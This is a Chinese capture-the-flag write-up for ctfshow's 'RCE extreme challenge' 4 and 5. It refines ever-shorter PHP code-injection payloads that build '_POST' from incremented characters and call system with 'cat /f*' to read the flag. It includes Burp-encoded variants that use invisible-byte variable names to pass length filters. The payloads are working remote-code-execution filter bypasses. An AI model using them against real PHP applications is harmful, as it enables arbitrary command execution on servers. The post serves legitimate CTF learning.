ctfshow 每周大挑战 RCE极限挑战4、5

看过官方wp之后复现的,用的payload是自己后来写的,可能不如官方的看着清晰
有点强迫症似的在抠细节(x


挑战4

最初的思路

第4题的长度限制到了84以内,84这个数字还是蛮特别的,因为一开始想的是,在获取N用$_=(_/_._)[0]的前提下,后面的内容只在拼接S、T的时候用$__.=++$_,其他地方就常规来写(意思是不用再去思考怎么写能更短,后面也会说拼接S、T时可以更短哈),长度是90,其中有6处$__,如果能把双下划线改成单个字符,长度就正好是84了,而这可以通过在burp中将$__写成不可见字符如%ff来实现。

$_=(_/_._)[0];   //N
$__=++$_;        //$__和$_都是O
$__=++$_.$__;    //$__是PO $_是P 这里最初实在没想到怎么才能更短
++$_;++$_;       //Q、R
$__.=++$_;       //POS
$__.=++$_;       //POST
$_=_.$__;        //_POST
$$_[0]($$_[_]);  //_POST[0](_POST[_]);

上面这种思路对应的完整payload

ctf_show=$_=(_/_._)[0];$__=++$_;$__=++$_.$__;++$_;++$_;$__.=++$_;$__.=++$_;$_=_.$__;$$_[0]($$_[_]);&0=system&_=cat /f*

长度只计算$_=(_/_._)[0];$__=++$_;$__=++$_.$__;++$_;++$_;$__.=++$_;$__.=++$_;$_=_.$__;$$_[0]($$_[_]);这部分的长度,这种写法的长度是90,超过了84,因此会执行phpinfo();
执行phpinfo();
在burp中将paylaod中的$__修改成不可见字符%ff就可以拿到flag
burp中执行
burp里的paylaod是

ctf_show=%24_%3D%28_%2F_._%29%5B0%5D%3B%24%ff%3D%2B%2B%24_%3B%24%ff%3D%2B%2B%24_.%24%ff%3B%2B%2B%24_%3B%2B%2B%24_%3B%24%ff.%3D%2B%2B%24_%3B%24%ff.%3D%2B%2B%24_%3B%24_%3D_.%24%ff%3B%24%24_%5B0%5D%28%24%24_%5B_%5D%29%3B&0=system&_=cat+%2Ff*

然后就默默在心里下了个结论,觉得这题得靠burp替换$__为%ff才能拿flag,出题人也太坏了,让人还得打开burp才能做题(我瞎想的 我瞎想的 我瞎想的)

通过HackBar拿flag的写法

写法一

好在后来突然想到,拼接S、T的时候完全可以更短啊,因为S、T相邻而且在PO之后,完全可以用$__.=++$_.++$_,这样长度就减少了5,但是85还是比84长了1,又想到最后拼接_的操作也能写得更短,比如在拼接PO的时候就拼接_,即用$__=_.++$_.$__获得_PO,后面不再写$_=_.$__;,长度能减少7,最后得到_POST的变量是$__,拼接的时候直接就用$__,双下划线会比单下划线长点,但是问题不大因为只长了2,总体长度减少了5+7-2=10,长度为80,小于84,可以通过借助HackBar传参来获得flag啦

$_=(_/_._)[0];   //N
$__=++$_;        //$__和$_都是O
$__=_.++$_.$__;    //_PO
++$_;++$_;       //Q、R
$__.=++$_.++$_;       //_POST
$$__[0]($$__[_]);  //_POST[0](_POST[_]);

上面这种思路对应的完整payload

ctf_show=$_=(_/_._)[0];$__=++$_;$__=_.++$_.$__;$_++;$_++;$__.=++$_.++$_;$$__[0]($$__[_]);&0=system&_=cat /f*

这样就可以借助HackBar拿到flag
在浏览器获得flag

写法二

然后肯定也会好奇,如果最后拼接的时候,用的变量是单下划线的话,长度是多少,结果一看一样,也是80,就是在拼接前把$__.=++$_.++$_;改成$_=$__.++$_.++$_;,这样长度增加了2,然后后面拼接时候长度又能减少2,总长度依然是80
完整payload

ctf_show=$_=(_/_._)[0];$__=++$_;$__=_.++$_.$__;++$_;++$_;$_=$__.++$_.++$_;$$_[0]($$_[_]);&0=system&_=cat /f*

同样可以通过HackBar拿flag
借助hackbar的执行结果
我们再回过头来看看【写法一】,即

ctf_show=$_=(_/_._)[0];$__=++$_;$__=_.++$_.$__;$_++;$_++;$__.=++$_.++$_;$$__[0]($$__[_]);&0=system&_=cat /f*

这里面有6处$__,如果把双下划线都换成单个字符,那长度就能再减少6,变成74个字符(这里提这个是为后续做铺垫)

挑战5

限制条件和增加条件
将长度限制到了73,数字0也不可以用了,用上一题的paylaod长度超了会触发执行phpinfo();

但是这里观察到phpinfo安装了一个扩展gettext,该扩展支持函数_() ,相当于gettext(),直接转化为字符串。另外,其实数组下标使用未定义常量,php会warning,但是可以继续运行,并返回下标为0的字符(现象是这样但是实际机制需要看php源码)[1]
[1]参考自官方wp:
https://ctf-show.feishu.cn/docx/ToiJd70SboRn52xhn3WcJsfjnah

既然gettext扩展支持函数_(),且数组下标不用数字而是用未定义常量也可以,那么获取N的语句最终可以写成$_=_(_/_)[%fe];

因为要用到不可见字符,这题怎么也得借助burp了(其实也不是非得打开burp

为了方便在burp里修改payload的内容,先在浏览器端的HackBar里写下面这个paylaod,执行

ctf_show=$_=_(_/_)[0];$__=++$_;$__=_.++$_.$__;$_++;$_++;$__.=++$_.++$_;$$__[0]($$__[_]);&0=system&_=cat /f*

浏览器端执行

然后因为长度超了73,会执行phpinfo();
但是没关系,可以用burp抓到这个包,然后放到Repeater修改一下请求包里ctf_show的值,这里我把0都换成%fe,把双下划线都换成%ff
因为在挑战4的最后我说了,把双下划线换成单个不可见字符可以让长度为74,用不可见字符代替0不会影响长度,而一开始获取字母N用$_=_(_/_)[%fe];比用$_=(_/_._)[0];少一个字符,所以现在长度刚好73

burp中的payload

下面给出在burp中用的payload如下:

ctf_show=%24_%3D_%28_%2F_%29%5B%fe%5D%3B%24%ff%3D%2B%2B%24_%3B%24%ff%3D_.%2B%2B%24_.%24%ff%3B%24_%2B%2B%3B%24_%2B%2B%3B%24%ff.%3D%2B%2B%24_.%2B%2B%24_%3B%24%24%ff%5B%fe%5D%28%24%24%ff%5B_%5D%29%3B&%fe=system&_=cat+%2Ff*

可以看到返回包中出现了flag
获得flag

大佬们也太极限啦

最后想说,看官方wp知道还可以更短,真没想到拼接得到PO的时候居然还有更短的写法哎!
可以把原本的$__=++$_;$__=++$_.$__;
写成++$_;$__=$_.$_++;
这里这样写的话,就只能拼接PO,不能再拼接前面的_
至于原因,官方wp上是这么描述的:
官方wp截图

_留到后面再拼接就行,这里结合一下上面的【写法二】的写法,最后用$_作为_POST

$_=_(_/_)[0];  //N
++$_;  //O
$__=$_.$_++;  //从结果来看是先执行了$_++,执行后$_值变成P,再拼接二者得到PO,但这里不能拼接成_PO
$_++;$_++;  //Q、R
$_=_.$__.++$_.++$_;  //_POST
$$_[0]($$_[_]);

长度74,有两处双下划线,改成一位不可见字符长度又能减少2,所以在burp中可以缩短到72位

这里我用挑战4的环境测试的,发现挑战4其实也可以用gettext,所以挑战4在HackBar里也能用长度74的写法来拿flag:
挑战4环境也可以用gettext
这里用的完整payload:

ctf_show=$_=_(_/_)[0];++$_;$__=$_.$_++;$_++;$_++;$_=_.$__.++$_.++$_;$$_[0]($$_[_]);&0=system&_=cat /f*

在burp中替换两处双下划线为%ff:
burp中的执行结果
burp中的payload:

ctf_show=%24_%3D_%28_%2F_%29%5B0%5D%3B%2B%2B%24_%3B%24%ff%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24%ff.%2B%2B%24_.%2B%2B%24_%3B%24%24_%5B0%5D%28%24%24_%5B_%5D%29%3B&0=system&_=cat+%2Ff*

你以为这就完了?不,还可以更短,还有68位的写法
这里我就纯纯复制粘贴官方wp的内容了哈,做个记录
构造过程:

$_=_(a/a)[_];//N
$a=++$_;//O
$$a[$a=_.++$_.$a[$_++/$_++].++$_.++$_]($$a[_]);//巧妙的把两次$_++放在一起

第三行可以分开来看,php在执行的时候会先对方括号里面的内容进行解析

$a=_.++$_.$a[$_++/$_++].++$_.++$_//$a直接拼接出_POST
$$a[_POST]($$a[_])//$_POST[_POST]($_POST[_])

总之是太巧妙了,我根本不可能想到
带着好奇心去php在线工具执行了一下拼接_POST的操作,确实也可以,报错一堆堆忽略了就好~
php在线工具验证

burp中的payload:

ctf_show=$_=_(%ff/%ff)[_];$%ff=%2b%2b$_;$$%ff[$%ff=_.%2b%2b$_.$%ff[$_%2b%2b/$_%2b%2b].%2b%2b$_.%2b%2b$_]($$%ff[_]);&_POST=system&_=cat /f*

然后自己复制粘贴payload去用挑战4(懒得再去开5了于是用的4)的环境试了一下,也是可以的
burp执行结果
再一看长度,好家伙,即使换成我习惯的下划线、双下划线的写法,长度刚刚好73啊,挑战5也可以不用burp了(最终还是又开了5的环境用hackbar试了)
挑战5也可以不用burp
我用的payload:

ctf_show=$_=_(_/_)[_];$__=++$_;$$__[$__=_.++$_.$__[$_++/$_++].++$_.++$_]($$__[_]);&_POST=system&_=cat /f*
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值